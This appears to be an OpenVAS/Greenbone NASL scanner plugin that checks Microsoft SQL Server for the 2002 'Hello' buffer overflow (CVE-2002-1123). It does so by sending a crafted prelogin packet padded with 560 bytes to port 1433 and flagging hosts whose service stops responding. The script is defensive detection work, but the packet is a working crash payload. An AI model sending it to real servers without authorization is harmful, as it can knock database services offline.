Microsoft SQL Server (MSSQL) Hello Overflow Vulnerability (Q316333) - Active Check

# SPDX-FileCopyrightText: 2002 Dave Aitel
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:microsoft:sql_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11067");
  script_version("2024-06-21T05:05:42+0000");
  script_cve_id("CVE-2002-1123");
  script_xref(name:"IAVA", value:"2002-B-0007");
  script_tag(name:"last_modification", value:"2024-06-21 05:05:42 +0000 (Fri, 21 Jun 2024)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Microsoft SQL Server (MSSQL) Hello Overflow Vulnerability (Q316333) - Active Check");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2002 Dave Aitel");
  script_family("Databases");
  script_dependencies("gb_microsoft_sql_server_consolidation.nasl");
  script_require_ports("Services/mssql", 1433);
  script_mandatory_keys("microsoft/sqlserver/tcp_listener/detected");

  script_xref(name:"URL", value:"http://support.microsoft.com/default.aspx?scid=kb;en-us;Q316333&sd=tech");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5411");

  script_tag(name:"summary", value:"Microsoft SQL Server (MSSQL) is prone to a hello overflow
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted SQL request and checks if the remote service
  is still available afterwards.");

  script_tag(name:"impact", value:"An attacker may use this flaw to execute commands against the
  remote host as LOCAL/SYSTEM, as well as read your database content.");

  script_tag(name:"solution", value:"Install Microsoft Patch Q316333 or disable the Microsoft SQL
  Server service or use a firewall to protect the MS SQL port (1433).");

  # nb: might result in false positives, also version reached EOL
  script_tag(name:"qod_type", value:"remote_probe");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"tcp_listener"))
  exit(0);

if(!get_app_location(cpe:CPE, port:port, nofork:TRUE))
  exit(0);

if(!soc = open_sock_tcp(port))
  exit(0);

# nb: taken from mssql.spk
pkt_hdr = raw_string(
  0x12, 0x01, 0x00, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00, 0x06, 0x01, 0x00, 0x1b,
  0x00, 0x01, 0x02, 0x00, 0x1c, 0x00, 0x0c, 0x03, 0x00, 0x28, 0x00, 0x04, 0xff, 0x08, 0x00, 0x02,
  0x10, 0x00, 0x00, 0x00
);

# nb: taken from mssql.spk
pkt_tail = raw_string(
  0x00, 0x24, 0x01, 0x00, 0x00
);

# nb: Use this request what normally happens
#attack_string = "MSSQLServer";

# nb: Use this request to actually test for the overflow
attack_string = crap(560);

sql_packet = string(pkt_hdr, attack_string, pkt_tail);

send(socket:soc, data:sql_packet);
r = recv(socket:soc, length:4096);
close(soc);

if(!r) {
  security_message(port:port);
  exit(0);
}

exit(99);